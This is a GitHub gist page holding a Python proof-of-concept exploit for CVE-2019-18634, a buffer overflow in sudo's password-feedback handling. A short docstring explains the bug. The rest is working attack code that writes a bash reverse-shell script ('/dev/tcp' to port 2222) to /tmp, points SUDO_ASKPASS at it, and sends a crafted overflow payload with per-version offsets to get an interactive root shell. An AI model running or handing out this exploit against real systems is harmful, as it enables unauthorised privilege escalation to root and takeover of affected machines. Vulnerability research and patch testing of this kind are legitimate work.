Skip to content

Instantly share code, notes, and snippets.

@rwincey
Forked from wbowling/CVE-2019-18634.py
Created February 16, 2020 12:15
Show Gist options
  • Save rwincey/7a2e5012c153cc20fa0a81f4e09e817f to your computer and use it in GitHub Desktop.
Save rwincey/7a2e5012c153cc20fa0a81f4e09e817f to your computer and use it in GitHub Desktop.
POC for CVE-2019-18634
#!/usr/bin/python
import os
import pty
from pwn import process, sleep, write, read, listen, p64
"""
From https://github.com/sudo-project/sudo/blob/SUDO_1_8_30/src/tgetpass.c#L401:
} else if (c == sudo_term_kill) {
while (cp > buf) {
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
The overflow in the above code can happen if the `sudo_term_kill` character is sent and the write fails,
`left` is then reset to bufsiz but `cp` is not allowing another `bufsiz` bytes to be written. This can be
done as many times as needed.
The `buf` is located in the bss and anything following it can be overridden with the overflow. This means
that `tgetpass_flags` can be changed to set the `TGP_ASKPASS` flag as well as the `user_details` struct.
The next time `tgetpass` is called (after an incorrect attempt) we can make sudo take the `sudo_askpass`
path instead if we set the `TGP_ASKPASS` flag. The `askpass` string is fetched from the `SUDO_ASKPASS`
environment variable then `setuid(user_details.uid)` and `execl(askpass, askpass, prompt, (char *)NULL);`
will be run, both of which we have full control over allowing us to execute anything as root.
"""
script = """#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/2222 0>&1
"""
filename = "/tmp/pwn.sh"
OFFSETS = {
"1.8.21": 0x270,
"1.8.30": 0x224
}
VERSION = "1.8.21"
def setup():
write(filename, script)
os.chmod(filename, 0o777)
def exploit():
master, slave = pty.openpty()
r = listen(2222)
process("sudo -S id < " + os.ttyname(slave),
shell=True, env={"SUDO_ASKPASS": filename})
payload1 = "\x00" * OFFSETS[VERSION]
payload1 += p64(0xf4) # tgetpass_flags
payload1 += p64(0) * 6 # user_details
payload1 += "\n"
payload = ""
for c in payload1:
payload += c
if (len(payload) + 1) % 0xf0 == 0:
payload += "\x15" # sudo_term_kill char
sleep(1)
os.write(master, payload)
r.wait_for_connection()
r.interactive()
if __name__ == "__main__":
setup()
exploit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment